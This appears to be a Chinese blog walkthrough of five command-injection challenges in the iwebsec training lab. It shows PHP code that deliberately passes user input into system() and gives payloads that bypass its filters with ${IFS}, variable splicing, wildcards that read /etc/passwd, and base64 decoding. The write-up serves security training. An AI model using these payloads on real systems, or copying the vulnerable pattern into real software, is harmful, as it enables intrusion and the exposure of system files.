iwebsec靶场命令执行漏洞(全部)

 命令执行漏洞

        应用程序的某些功能需要调用可以执行系统命令的函数,如果这些函数或者函数的参数被用户控制,就有可能通过命令连接符将恶意命令拼接到正常的函数中,从而随意执行系统命令,这就是命令执行漏洞。它属于高危漏洞之一。

01-命令执行漏洞

源码分析

<?php
	if(isset($_GET['ip'])){

    $ip = $_GET['ip'];

    system("ping -c 2 ".$ip);
	}else{
		exit();
	}
	
?>

先ping两次,因为$ip是一个可控参数,可以通过Linux下的命令连接符执行多条命令,达到攻击的目的

这里以用id来直接获取用户uid gid gruops

?ip=127.0.0.1;id

 

02-命令执行漏洞空格绕过

源码分析

<?php
	if(isset($_GET['ip'])){

		if (preg_match('/ /', $_GET['ip'])) {
                die('error!!!');
		}
		else{
			$ip = $_GET['ip'];
			
		}
    system("ping -c 2 ".$ip);
	}else{
		exit();
	}
	
?>

这里用preg_match()对ip中的空格进行过滤

我们以cat 02.php为例

很明显这里显示了error!!!报错信息说明无法直接对其进行执行,需要进行绕过

${IFS}是shell的特殊环境变量,是Linux下的内部域分隔符。$IFS中存储的值可以是空格、制表符、换行符、或者其他自定义符号。

?ip=127.0.0.1;cat${IFS}02.php

 

 这里就不仅仅显示了ping的结果还显示了和该页面一样的结果因为02.php就是该页面

03-命令执行漏洞关键命令绕过

源码分析

<?php
	if(isset($_GET['ip'])){

		if (preg_match('/cat/', $_GET['ip'])) {
                die('error!!!');
		}
		else{
			$ip = $_GET['ip'];
			
		}
    system("ping -c 2 ".$ip);
	}else{
		exit();
	}
	
?>

这里是对cat这个命令进行了绕过,我们用变量拼接进行绕过(还可以使用空变量绕过,\绕过,系统变量绕过和通配符绕过)

?ip=127.0.0.1;a=c;b=at; $a$b 03.php

 

04-命令执行漏洞通配符绕过

源码分析

<?php
	if(isset($_GET['ip'])){

		if (preg_match('/etc|passwd/', $_GET['ip'])) {
                die('error!!!');
		}
		else{
			$ip = $_GET['ip'];
			
		}
    system("ping -c 2 ".$ip);
	}else{
		exit();
	}
	
?>

这里过滤了/etc|passwd/这个命令,我们要查看这个文件可以用?进行绕过(*可以绕过,是代表0到多个字符;[]内为范围,代表该字符中的任意一个字符)

?ip=127.0.0.1;cat /???/????wd?

 

这样就成功查看到了passwd文件的内容

05-命令值向漏洞Base64编码绕过

源码分析

<?php
	if(isset($_GET['ip'])){

		if (preg_match('/id/', $_GET['ip'])) {
                die('error!!!');
		}
		else{
			$ip = $_GET['ip'];
			
		}
    system("ping -c 2 ".$ip);
	}else{
		exit();
	}
	
?>

这个是对id进行了过滤,我们现在就要执行id这个命令,那我们就可以用Base64编码一下编码的结果是aWQ=再利用linux自带的base64 -d进行解码,这样就绕过了正常的命令。

?ip=127.0.0.1;`echo "aWQ=" |base64 -d`

 到这里就全部结束了。

  • 3
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
iwebsec靶场是一个漏洞集成容器,其中集成了大量的web漏洞环境,包括SQL注入、文件包含、命令执行、XXE、反序列化、SSRF、XSS、文件上传等常见的漏洞环境。\[1\] 要搭建iwebsec靶场,可以使用docker来运行容器。可以使用以下命令来启动靶场并将宿主机的8001端口映射给iwebsec靶场的80服务: docker run --restart=always --name iwebsec -it -dp 8001:80 iwebsec/iwebsec \[2\] 这样每次启动靶场时,都会自动运行,并且宿主机的8001端口会映射给靶场的80服务。 需要注意的是,iwebsec靶场还包含一些漏洞渗透,如redis数据库漏洞和MySQL数据库漏洞。如果需要进行渗透测试,需要将iwebsec靶场中的redis服务端口号和MySQL服务端口号映射到主机端口中。可以使用以下命令来查找iwebsec的配置文件: find / -name iwebsec_info.md \[3\] #### 引用[.reference_title] - *1* [Web安全 iwebsec 靶场搭建.](https://blog.csdn.net/weixin_54977781/article/details/130341391)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* *3* [iwebsec靶场搭建](https://blog.csdn.net/mooyuan/article/details/128031434)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值